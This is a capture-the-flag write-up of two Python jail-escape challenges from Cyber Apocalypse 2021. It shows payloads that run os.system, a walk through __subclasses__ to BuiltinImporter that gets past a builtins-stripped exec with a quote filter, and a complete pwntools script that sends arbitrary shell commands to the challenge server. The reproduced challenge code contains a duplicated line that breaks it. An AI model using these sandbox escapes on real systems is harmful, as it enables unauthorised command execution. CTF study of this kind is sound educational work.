Posts Python Jail Escape - Cyber Apocalypse 2021 Write-Up
Post
Cancel

Python Jail Escape - Cyber Apocalypse 2021 Write-Up

Input as a Service

Initial Assessment

The challenge provides a remote IP and a port to connect. After connecting with nc we get the following prompt:

1
2
3
4
2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0]
Do you sound like an alien?
>>>

After providing a random string of characters we get the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0]
Do you sound like an alien?
>>>

 asdasd
Traceback (most recent call last):
  File "input_as_a_service.py", line 16, in <module>
    main()
  File "input_as_a_service.py", line 12, in main
    text = input(' ')
  File "<string>", line 1, in <module>
NameError: name 'asdasd' is not defined

Exploitation

This seems to be a Python2 shell that execs every input we give. So we want to either execute commands on the host system or just read the flag.txt file. Solution 1

1
2
3
4
5
6
7
8
2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0]
Do you sound like an alien?
>>>

 open('flag.txt', 'r').read()
CHTB{4li3n5_us3_pyth0n2.X?!}\n
0

Solution 2

1
2
3
4
5
6
7
8
2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0]
Do you sound like an alien?
>>>

 __import__('os').system('cat flag.txt')
CHTB{4li3n5_us3_pyth0n2.X?!}
0

Challenge Code

Note that this is not the original code of the challenge as I forgot to grab it, but it is quite similar:

#!/usr/bin/python2.7
from sys import version

def main():
    print('{0}\n'.format(version))
    print('Do you sound like an alien?\n')
    for _ in range(2):
        text = input('>>> ').lower()
        exec(text)

if __name__ == "__main__":
    main()

Build yourself in

Initial Assessment

This challenge also provides a remote IP and a port to connect. After connecting with nc we get the following prompt:

1
2
3
4
5
6
7
8
9
10
11
12
13
3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110]

[*] Only 👽 are allowed!

>>> asd
Traceback (most recent call last):
  File "/home/sarange/apocalypse/build_yourself_in/chal.py", line 16, in <module>
    main()
  File "/home/sarange/apocalypse/build_yourself_in/chal.py", line 13, in main
    exec(text, {'__builtins__': None, 'print':print})
  File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable

This seems quite similar but the exec(text, {'__builtins__': None, 'print':print}) hints that the only builtin function available to us is the print function, so we cannot __import__('os') again. We can try to climb the object tree using one class that we can access.

  • We can use a tuple () instance to get a reference to an object.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    
    In [1]: dir(())
    Out[1]:
    ['__add__',
     '__class__',
     '__contains__',
     '__delattr__',
     '__dir__',
     '__doc__',
     '__eq__',
     '__format__',
     '__ge__',
     '__getattribute__',
     '__getitem__',
     '__getnewargs__',
     '__gt__',
     '__hash__',
     '__init__',
     '__init_subclass__',
     '__iter__',
     '__le__',
     '__len__',
     '__lt__',
     '__mul__',
     '__ne__',
     '__new__',
     '__reduce__',
     '__reduce_ex__',
     '__repr__',
     '__rmul__',
     '__setattr__',
     '__sizeof__',
     '__str__',
     '__subclasshook__',
     'count',
     'index']
    
  • Using the __class__ attribute we can get to the class of the instance of the reference of tuple that we have.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    
    In [2]: dir(().__class__)
    Out[2]:
    ['__add__',
     '__class__',
     '__contains__',
     '__delattr__',
     '__dir__',
     '__doc__',
     '__eq__',
     '__format__',
     '__ge__',
     '__getattribute__',
     '__getitem__',
     '__getnewargs__',
     '__gt__',
     '__hash__',
     '__init__',
     '__init_subclass__',
     '__iter__',
     '__le__',
     '__len__',
     '__lt__',
     '__mul__',
     '__ne__',
     '__new__',
     '__reduce__',
     '__reduce_ex__',
     '__repr__',
     '__rmul__',
     '__setattr__',
     '__sizeof__',
     '__str__',
     '__subclasshook__',
     'count',
     'index']
    
  • Using the __base__ attribute we can get to the base class of the class tuple.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    
    In [3]: dir(().__class__.__base__)
    Out[3]:
    ['__class__',
     '__delattr__',
     '__dir__',
     '__doc__',
     '__eq__',
     '__format__',
     '__ge__',
     '__getattribute__',
     '__gt__',
     '__hash__',
     '__init__',
     '__init_subclass__',
     '__le__',
     '__lt__',
     '__ne__',
     '__new__',
     '__reduce__',
     '__reduce_ex__',
     '__repr__',
     '__setattr__',
     '__sizeof__',
     '__str__',
     '__subclasshook__'
    
  • Now we can use the __subclasses__ function that gives us access to the imported modules.
    1
    2
    
    In [4]: ().__class__.__base__.__subclasses__
    Out[4]: <function object.__subclasses__()>
    

Putting all together, we have ().__class__.__base__.__subclasses__(). Lets print it’s output:

1
2
3
4
5
6
7
8
3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110]

[*] Only 👽 are allowed!

>>> print(().__class__.__base__.__subclasses__())
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>]
>>>

After examining the classes available to us, we can see that the class <class '_frozen_importlib.BuiltinImporter'> is in the list. We can use that to import modules with the load_module function. So let’s send the whole payload:

1
2
3
4
5
6
7
8
9
3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110]

[*] Only 👽 are allowed!

>>> ().__class__.__base__.__subclasses__()[84]().load_module('os').system('ls')
â›” No quotes are allowed! â›”

Exiting..

Hmm, no quotes are allowed, so we need to build our strings without using quotes. Remember we cannot use the chr, str or any other useful function because the builtins are now only the print function.

Strings using class names

We will get the names of all the functions that we can access:

1
2
3
4
5
6
7
8
3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110]

[*] Only 👽 are allowed!

>>> print([c.__name__ for c in ().__class__.__base__.__subclasses__()])
['type', 'weakref', 'weakcallableproxy', 'weakproxy', 'int', 'bytearray', 'bytes', 'list', 'NoneType', 'NotImplementedType', 'traceback', 'super', 'range', 'dict', 'dict_keys', 'dict_values', 'dict_items', 'dict_reversekeyiterator', 'dict_reversevalueiterator', 'dict_reverseitemiterator', 'odict_iterator', 'set', 'str', 'slice', 'staticmethod', 'complex', 'float', 'frozenset', 'property', 'managedbuffer', 'memoryview', 'tuple', 'enumerate', 'reversed', 'stderrprinter', 'code', 'frame', 'builtin_function_or_method', 'method', 'function', 'mappingproxy', 'generator', 'getset_descriptor', 'wrapper_descriptor', 'method-wrapper', 'ellipsis', 'member_descriptor', 'SimpleNamespace', 'PyCapsule', 'longrange_iterator', 'cell', 'instancemethod', 'classmethod_descriptor', 'method_descriptor', 'callable_iterator', 'iterator', 'PickleBuffer', 'coroutine', 'coroutine_wrapper', 'InterpreterID', 'EncodingMap', 'fieldnameiterator', 'formatteriterator', 'BaseException', 'hamt', 'hamt_array_node', 'hamt_bitmap_node', 'hamt_collision_node', 'keys', 'values', 'items', 'Context', 'ContextVar', 'Token', 'MISSING', 'moduledef', 'module', 'filter', 'map', 'zip', '_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'BuiltinImporter', 'classmethod', 'FrozenImporter', '_ImportLockContext', '_localdummy', '_local', 'lock', 'RLock', 'WindowsRegistryFinder', '_LoaderBasics', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'PathFinder', 'FileFinder', 'ScandirIterator', 'DirEntry', '_IOBase', '_BytesIOBuffer', 'IncrementalNewlineDecoder', 'zipimporter', '_ZipImportResourceReader', 'Codec', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_abc_data', 'ABC', 'dict_itemiterator', 'Hashable', 'Awaitable', 'GenericAlias', 'AsyncIterable', 'async_generator', 'Iterable', 'bytes_iterator', 'bytearray_iterator', 'dict_keyiterator', 'dict_valueiterator', 'list_iterator', 'list_reverseiterator', 'range_iterator', 'set_iterator', 'str_iterator', 'tuple_iterator', 'Sized', 'Container', 'Callable', '_wrap_close', 'Quitter', '_Printer', '_Helper', 'DynamicClassAttribute', '_GeneratorWrapper', 'WarningMessage', 'catch_warnings', 'accumulate', 'combinations', 'combinations_with_replacement', 'cycle', 'dropwhile', 'takewhile', 'islice', 'starmap', 'chain', 'compress', 'filterfalse', 'count', 'zip_longest', 'permutations', 'product', 'repeat', 'groupby', '_grouper', '_tee', '_tee_dataobject', 'itemgetter', 'attrgetter', 'methodcaller', 'Repr', 'deque', '_deque_iterator', '_deque_reverse_iterator', '_tuplegetter', '_Link', 'partial', '_lru_cache_wrapper', 'partialmethod', 'singledispatchmethod', 'cached_property', 'ContextDecorator', '_GeneratorContextManagerBase', '_BaseExitStack', 'auto', 'Enum', 'Pattern', 'Match', 'SRE_Scanner', 'State', 'SubPattern', 'Tokenizer', 'Scanner', '_Final', '_Immutable', 'Generic', '_TypingEmpty', '_TypingEllipsis', 'Annotated', 'NamedTuple', 'TypedDict', 'typing.io', 'typing.re', 'Finder', 'Loader', 'ResourceReader']
>>>

By using a substring of the names we can construct the strings that we want, for example, we can get os by doing:

1
'NoneType'[1] + 'bytes'[4]

The only problem is that we don’t have a dot and a space.

Getting the space character

One way to get a space is using the center function of the class str:

1
2
In [5]: 's'.center(3)
Out[5]: ' s '

Strings using docstrings

Another way to get string characters is from the docstrings, which we cann access with the __doc__ attribute of the classes and instances that have docstrings. For example we can get the docstring of an instance of a str object:

1
2
In [6]: 's'.__doc__
Out[6]: "str(object='') -> str\nstr(bytes_or_buffer[, encoding[, errors]]) -> str\n\nCreate a new string object from the given object. If encoding or\nerrors is specified, then the object must expose a data buffer\nthat will be decoded using the given encoding and error handler.\nOtherwise, returns the result of object.__str__() (if defined)\nor repr(object).\nencoding defaults to sys.getdefaultencoding().\nerrors defaults to 'strict'."

Exploit Development

Now we can build a crude script using pwntools to resolve the strings that we pass as variables as above and pass the command to the remote app:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from re import findall

context.log_level = 'critical'
addr = '138.68.132.86'
port = 31797

base = '().__class__.__base__.__subclasses__()'



def get_imports():
    p = remote(addr, port)
    p.recvuntil('>>>')
    cmd = f'print([c.__name__ for c in ().__class__.__base__.__subclasses__()])'
    p.sendline(cmd)
    imports = findall(r"'(.*?)'", p.recvuntil('\n').decode('utf-8'))
    return imports


def get_command(command):
    out = []
    for com in command:
        go_on = True
        num1 = 0
        num2 = None
        if com == ' ':
            space = f'{base}[0].__name__[0].center(4)[0]'
            out.append(space)
            go_on = False
        if com == '.':
            space = f'{base}[0].__name__[0].__doc__[121]'
            out.append(space)
            go_on = False
        for line in imports:
            name = line.strip("'")
            if com in name:
                num2 = name.index(com)
                break
            else:
                num1 += 1
                num2 = None
        if num2 is None and go_on:
            raise Exception(f'Cannot find {com}')
        if go_on:
            out.append(f'{base}[{num1}].__name__[{num2}]')
    return ' + '.join(out)

def exploit():
    p = remote(addr, port)
    command = input('> ').strip('\n')
    while not command == 'exit':
        p.recvuntil('>>>')
        cmd = f'print({base}[84]().load_module({get_command("os")}).system({get_command(command)}))'
        p.sendline(cmd)
        print(p.recvuntil('\n0\n').decode('utf-8'))
        p = remote(addr, port)
        command = input('> ').strip('\n')

imports = get_imports()
exploit()

Note that the above script can be better if I only used the docstrings ot get hte substrings, but I think that the other two ways acquiring strings are worth using.

Challenge Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python3.8
from sys import version

def main():
    print(f'{version}\n')
    print('[*] Only \U0001F47D are allowed!\n')
    for _ in range(2):
        text = input('>>> ').lower()
        if "'" in text or '"' in text:
        if "'" in text or '"' in text:
            print('\U000026D4 No quotes are allowed! \U000026D4\n\nExiting..\n')
            break
        else:
            exec(text, {'__builtins__': None, 'print':print})

if __name__ == "__main__":
    main()
This post is licensed under CC BY 4.0 by the author.